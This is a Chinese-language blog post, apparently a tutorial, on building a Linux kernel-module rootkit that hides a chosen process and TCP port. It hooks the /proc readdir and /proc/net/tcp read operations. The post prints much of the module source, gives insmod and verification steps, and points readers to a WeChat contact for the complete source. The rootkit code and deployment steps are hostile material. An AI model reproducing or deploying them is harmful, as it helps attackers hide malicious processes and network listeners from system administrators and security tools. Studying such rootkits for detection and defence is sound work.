对于接触Linux系统的人来说,"进程""端口"这些词并不陌生------我们用命令查看运行的程序、检查网络连接,都是在和这些东西打交道。但你有没有想过,有些进程、端口明明在运行,却能"躲"过常规命令的查看?这背后,就有Linux内核隐藏工具的身影。今天我们就用最通俗的话,聊聊这种工具到底是什么、怎么实现的,以及它涉及的那些核心知识点。
一、先搞懂:这种内核隐藏工具到底是什么?
简单说,它是一种能嵌入Linux内核的小型程序(本质是内核模块),核心作用就是"隐身"------让指定的进程、网络端口,甚至相关文件,在常规查看命令(比如ps、netstat)下"消失"。但要注意,它不是真的把进程、端口删掉了,而是偷偷修改了内核的正常工作逻辑,让系统"谎报军情",从而达到隐藏的目的。
打个比方,这就像你家的柜子里藏了一件东西,你没有把东西拿走,而是给柜子装了一个特殊的门------别人打开柜子,只能看到门后面的部分,藏起来的东西根本看不到,但它其实一直都在柜子里。这种工具的原理,和这个"特殊门"的逻辑几乎一样。
它的应用场景很明确:主要用于系统安全测试(比如检测系统漏洞,看看系统能不能发现隐藏的恶意程序)、内核开发学习,当然也可能被恶意利用(比如恶意程序隐藏自身,躲避系统查杀)------这里我们只聚焦技术实现,不探讨恶意用途。
二、核心知识点:搞懂这些,才能明白"隐身术"的底层逻辑
在聊具体实现之前,我们先梳理几个必须知道的知识点,都是大白话,不用怕看不懂:
1. Linux内核模块:工具的"载体"
Linux内核允许我们动态加载一些小型程序(就是内核模块),这些程序能直接访问内核的核心资源,相当于给内核"加了个插件"。我们今天说的这种隐藏工具,就是以内核模块的形式存在的------不用重新编译内核,只要加载这个模块,它就能开始工作;卸载模块,隐藏效果就会消失,系统恢复正常。
2. 系统调用与内核函数:工具的"操作对象"
我们平时用的ps命令(查看进程)、netstat命令(查看端口),本质上都是通过调用内核的特定函数,来获取进程、端口信息的。比如查看进程时,会调用内核的readdir、filldir等函数,这些函数负责读取进程目录、返回进程列表;查看端口时,会调用内核的read函数,读取/proc/net/tcp(IPv4)、/proc/net/tcp6(IPv6)里的端口信息。
而这种隐藏工具的核心,就是"修改"这些内核函数------不是删掉原来的函数,而是把原来的函数"替换"成我们自己写的函数,让系统调用这些函数时,返回的信息里少了我们要隐藏的内容。
3. /proc文件系统:进程、端口信息的"展示窗口"
Linux里有个特殊的/proc目录,它不是真实的磁盘文件,而是内核在内存中创建的"虚拟文件系统"。这个目录里的文件,其实是内核状态的"映射"------比如/proc/目录下,每个进程都会有一个以进程ID(PID)命名的文件夹,里面存着这个进程的所有信息;/proc/net/tcp和/proc/net/tcp6,则存着当前所有的TCP连接(包括端口信息)。
我们的隐藏工具,就是通过修改这个"展示窗口"的内容,让常规命令看不到隐藏的进程和端口------相当于把窗口里的某些内容"擦掉"了,但背后的进程、端口依然在运行。
4. 函数挂钩(Hook):"替换"内核函数的核心技巧
所谓"函数挂钩",简单说就是"偷梁换柱":先把内核原来的函数保存起来(怕后续需要恢复),然后把我们自己写的函数,替换成内核原本调用的函数。这样一来,当系统需要调用原来的函数时,实际上调用的是我们自己的函数,我们就能在自己的函数里,做一些"过滤"操作------比如把要隐藏的进程、端口信息筛掉。
三、设计思路:如何给进程和端口"隐身"?
这个工具的设计思路很简单,核心就3步:加载模块→挂钩内核函数→过滤隐藏内容;卸载模块时,再把内核函数恢复原样,避免影响系统正常运行。具体到"隐藏进程"和"隐藏端口",思路略有不同,但本质都是"挂钩+过滤"。
1. 整体设计框架
加载模块 → 查找并保存内核中原有的关键函数(比如readdir、read) → 编写自己的"过滤函数"(用来筛掉要隐藏的内容) → 用自己的函数替换内核原来的函数 → 系统调用函数时,自动过滤隐藏内容 → 卸载模块时,恢复内核原来的函数 → 系统恢复正常。
2. 隐藏进程的设计思路
我们知道,查看进程时,系统会读取/proc目录下的进程ID文件夹,而这个读取操作,会调用内核的readdir(读取目录)和filldir(填充目录内容)两个函数。所以,隐藏进程的思路就是:
第一步:挂钩readdir和filldir函数------先保存内核原来的这两个函数,然后用我们自己写的函数替换它们。
第二步:设定要隐藏的进程ID(比如通过参数传入,指定哪个PID要隐藏)。
第三步:在自己写的filldir函数里,加一个"判断"------如果当前读取的目录名称(也就是进程ID),和我们要隐藏的PID一致,就直接"跳过",不把这个进程的信息返回给系统;如果不一致,就调用原来的filldir函数,正常返回信息。
这样一来,当我们用ps命令查看进程时,系统调用的是我们自己的filldir函数,要隐藏的进程就被"跳过"了,自然看不到。
3. 隐藏端口的设计思路
端口信息存在/proc/net/tcp和/proc/net/tcp6文件里,查看端口时,系统会调用内核的read函数,读取这两个文件的内容。所以,隐藏端口的思路和隐藏进程类似,也是"挂钩+过滤":
第一步:挂钩read函数------保存内核原来的read函数,用自己写的read函数替换。
第二步:设定要隐藏的端口(注意:代码里用的是十六进制,比如要隐藏19999端口,对应的十六进制是4E1F,这样对比起来更方便)。
第三步:在自己写的read函数里,先调用原来的read函数,获取所有端口信息,然后对这些信息进行"过滤"------逐行检查端口信息,找到包含要隐藏端口(十六进制)的那一行,把这一行删掉,再把剩下的内容返回给系统。
这里有个小细节:删掉一行后,要调整读取的字符数,避免系统发现"少了一行",出现异常。就像我们在文章里删掉一句话后,要调整段落格式,让文章看起来连贯一样。
四、代码实现解读:用大白话看懂核心代码
下面我们结合提供的代码,拆解核心部分,不用纠结每一行代码的语法,重点看"它在做什么",全程大白话解读:
c
...
int hide_port(void){
struct path tcp_path;
struct path tcp6_path;
if(kern_path("/proc/net/tcp", 0, &tcp_path)){
return -1;
}
if(kern_path("/proc/net/tcp6", 0, &tcp6_path)){
return -1;
}
old_tcp6_inode = tcp6_path.dentry->d_inode;
old_tcp_inode = tcp_path.dentry->d_inode;
if(!old_tcp_inode){
return -1;
}
if(!old_tcp6_inode){
return -1;
}
old_tcp_fops = old_tcp_inode->i_fop;
old_tcp_read = old_tcp_fops->read;
new_tcp_fops = *(old_tcp_inode->i_fop);
new_tcp_fops.read = new_tcp_read;
old_tcp_inode->i_fop = &new_tcp_fops;
old_tcp6_fops = old_tcp6_inode->i_fop;
old_tcp6_read = old_tcp6_fops->read;
new_tcp6_fops = *(old_tcp6_inode->i_fop);
new_tcp6_fops.read = new_tcp6_read;
old_tcp6_inode->i_fop = &new_tcp6_fops;
return 0;
}
int hide_process(void){
struct path proc_path;
if(!PIDTOHIDE){
printk(KERN_ALERT "Failed to get pid");
}
//printk(KERN_ALERT "The pid is %s\n", PIDTOHIDE);
if(kern_path("/proc/", 0, &proc_path))
return -1;
old_proc_inode = proc_path.dentry->d_inode;
if(!old_proc_inode)
return -1;
old_proc_fops = old_proc_inode->i_fop;
//memcpy(&new_proc_fops, old_proc_inode->i_fop, sizeof(struct * file_operations));
new_proc_fops = *(old_proc_inode->i_fop);
old_proc_readdir = old_proc_fops->readdir;
new_proc_fops.readdir = new_proc_readdir;
printk(KERN_ALERT "The addr of new_proc_ops is %p and old_proc_ops is %p", &new_proc_fops, old_proc_fops);
old_proc_inode->i_fop = &new_proc_fops;
//CLOSE THE FILE NOW
printk(KERN_ALERT "Finished!\n");
return 0;
}
static int rootkit_init(void)
{
int rv = 0;
void * __end = (void *) &unmap_page_range;
unmap_page_range = (unmap_page_range_t)
kallsyms_lookup_name("unmap_page_range");
if ((!unmap_page_range) || (void *) unmap_page_range >= __end) {
printk(KERN_ERR "Rootkit error: "
"can't find important function unmap_page_range\n");
return -ENOENT;
}
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 2, 0)
my_tlb_gather_mmu = (tlb_gather_mmu_t)
kallsyms_lookup_name("tlb_gather_mmu");
printk(KERN_ERR "resolved symbol tlb_gather_mmu %p\n", my_tlb_gather_mmu);
if (!my_tlb_gather_mmu) {
printk(KERN_ERR "Rootkit error: "
"can't find kernel function my_tlb_gather_mmu\n");
return -ENOENT;
}
my_tlb_flush_mmu = (tlb_flush_mmu_t)
kallsyms_lookup_name("tlb_flush_mmu");
if (!my_tlb_flush_mmu) {
printk(KERN_ERR "Rootkit error: "
"can't find kernel function my_tlb_flush_mmu\n");
return -ENOENT;
}
my_tlb_finish_mmu = (tlb_finish_mmu_t)
kallsyms_lookup_name("tlb_finish_mmu");
if (!my_tlb_finish_mmu) {
printk(KERN_ERR "Rootkit error: "
"can't find kernel function my_tlb_finish_mmu\n");
return -ENOENT;
}
#else
pmmu_gathers = (struct mmu_gather *)
kallsyms_lookup_name("mmu_gathers");
if (!pmmu_gathers) {
printk(KERN_ERR "Rootkit error: "
"can't find kernel function mmu_gathers\n");
return -ENOENT;
}
#endif //kernel_version >< 3.2
kern_free_pages_and_swap_cachep = (free_pages_and_swap_cache_t)
kallsyms_lookup_name("free_pages_and_swap_cache");
if (!kern_free_pages_and_swap_cachep) {
printk(KERN_ERR "Rootkit error: "
"can't find kernel function free_pages_and_swap_cache\n");
return -ENOENT;
}
kern_flush_tlb_mm = (flush_tlb_mm_t)
kallsyms_lookup_name("flush_tlb_mm");
if (!kern_flush_tlb_mm) {
printk(KERN_ERR "Rootkit error: "
"can't find kernel function flush_tlb_mm\n");
return -ENOENT;
}
kern_free_pgtables = (free_pgtables_t)
kallsyms_lookup_name("free_pgtables");
if (!kern_free_pgtables) {
printk(KERN_ERR "Rootkit error: "
"can't find kernel function free_pgtables\n");
return -ENOENT;
}
hide_process();
hide_port();
printk(KERN_ALERT "Rootkit: Hello, world\n");
return rv;
}
static void rootkit_exit(void)
{
restore_hide_process();
restore_hide_port();
printk(KERN_ALERT "Rootkit: Goodbye, cruel world\n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);
If you need the complete source code, please add the WeChat number (c17865354792)
1. 开头的"准备工作":引入头文件和定义参数
代码开头有一大堆#include,其实就是引入内核的各种头文件------相当于我们写文章时,要先准备好字典、参考书,方便后续调用相关的函数和结构。
然后定义了两个关键参数:PIDTOHIDE(要隐藏的进程ID,通过模块参数传入)和PORTTOHIDE(要隐藏的端口,这里是十六进制"4E1F",对应十进制19999)。还有一些"旧函数""新函数"的定义,比如old_proc_readdir(保存内核原来的readdir函数)、new_proc_readdir(我们自己写的readdir函数),目的就是为了后续的"挂钩"。
2. 隐藏进程的核心代码:new_proc_readdir和new_proc_filldir
new_proc_readdir是我们自己写的"读取目录函数",它的作用很简单:先保存原来的filldir函数,然后调用原来的readdir函数,但把里面的filldir参数,换成我们自己写的new_proc_filldir函数。
new_proc_filldir就是"过滤函数":它会对比当前读取的目录名称(进程ID)和我们要隐藏的PIDTOHIDE,如果一样,就返回0(相当于"跳过",不返回这个进程的信息);如果不一样,就调用原来的filldir函数,正常返回信息。这就是进程隐藏的核心逻辑。
3. 隐藏端口的核心代码:new_tcp_read和new_tcp6_read
这两个函数是我们自己写的"读取端口文件函数",分别对应IPv4(tcp)和IPv6(tcp6)。它们的逻辑几乎一样:
第一步:先调用原来的read函数,获取所有端口信息,存在buffer里。
第二步:逐行检查buffer里的内容,找到包含PORTTOHIDE(4E1F)的行------这里会通过字符串查找,找到端口对应的十六进制字符串。
第三步:如果找到这一行,就把这一行后面的内容,往前移动,覆盖掉这一行(相当于删掉这一行),然后调整读取的字符数(origin_read),避免系统异常。
第四步:返回过滤后的内容,这样查看端口时,就看不到要隐藏的端口了。
4. 模块的加载和卸载:init和exit函数
module_init(rootkit_init):当我们加载模块时,会调用rootkit_init函数。这个函数的作用是"初始化"------先查找内核里的一些关键函数(比如unmap_page_range、tlb_gather_mmu等,这些是内核的核心函数,确保工具能正常运行),然后调用hide_process(隐藏进程)和hide_port(隐藏端口)两个函数,启动隐藏功能。
module_exit(rootkit_exit):当我们卸载模块时,会调用rootkit_exit函数。这个函数的作用是"恢复"------调用restore_hide_process和restore_hide_port,把之前替换的内核函数,恢复成原来的样子,这样系统就能正常查看所有进程和端口了,不会留下后遗症。
五、涉及的核心技术领域总结
这种内核隐藏工具,看起来简单,但其实融合了多个Linux内核开发的核心领域,总结一下,主要有这4个方面:
1. Linux内核模块开发
这是工具的基础------如何编写内核模块、如何定义模块的加载和卸载函数、如何传递模块参数,这些都是内核模块开发的核心知识点。模块的优势在于"动态加载、动态卸载",不用修改内核源码,灵活性极高。
2. 内核函数挂钩(Hook)技术
这是工具的核心技巧------通过替换内核函数,实现对系统行为的修改。这里用到了函数指针的知识,通过保存原函数、替换原函数,实现"过滤"逻辑,这也是内核级开发中常用的一种技巧(比如系统调试、安全监控等场景都会用到)。
3. /proc文件系统原理
工具的隐藏逻辑,完全依赖于/proc文件系统的特性------它是内核状态的"映射",修改这个文件系统的内容,就能影响常规命令的输出。理解/proc文件系统的工作机制,是理解这种隐藏工具的关键。
4. 内核内存与进程管理
工具在运行过程中,需要访问内核的inode(文件节点)、file_operations(文件操作结构)等核心数据结构,这些都是内核内存管理和进程管理的核心内容。比如通过kern_path函数获取/proc目录的inode,通过修改inode的i_fop(文件操作指针),实现函数的替换。
六、测试步骤
编译模块
进入代码所在目录,执行:
bash
make
找一个要隐藏的进程 PID
bash
# 随便找一个正在运行的进程,比如 bash
ps -ef | grep bash
假设你看到 PID 是 1234(换成你自己查到的PID)
加载模块,隐藏指定 PID
bash
sudo insmod 你的模块名.ko PIDTOHIDE="1234"
例子(如果编译出来是 hide.ko):
bash
sudo insmod hide.ko PIDTOHIDE="1234"
测试是否隐藏成功
bash
ps -ef | grep 1234
ls /proc | grep 1234
看不到输出 = 隐藏成功
测试端口隐藏
bash
# 开一个端口 19999(新终端执行)
nc -l 19999
# 查看端口(应该看不到)
netstat -tulpn | grep 19999
cat /proc/net/tcp | grep 4E1F
卸载模块
bash
sudo rmmod hide
验证恢复正常
bash
ps -ef | grep 1234
重新看到进程 = 恢复成功
总结
其实这种Linux内核隐藏工具,本质就是"利用内核模块的灵活性,通过函数挂钩技术,修改/proc文件系统的输出,从而实现进程和端口的隐藏"。它没有什么高深的黑科技,核心就是对Linux内核函数、/proc文件系统的理解和运用。
通过了解它的实现原理,我们不仅能掌握内核模块开发、函数挂钩等实用技术,更能深入理解Linux内核的工作逻辑------比如系统命令是如何获取进程、端口信息的,内核函数是如何被调用的,/proc文件系统是如何映射内核状态的。
Welcome to follow WeChat official account【程序猿编码】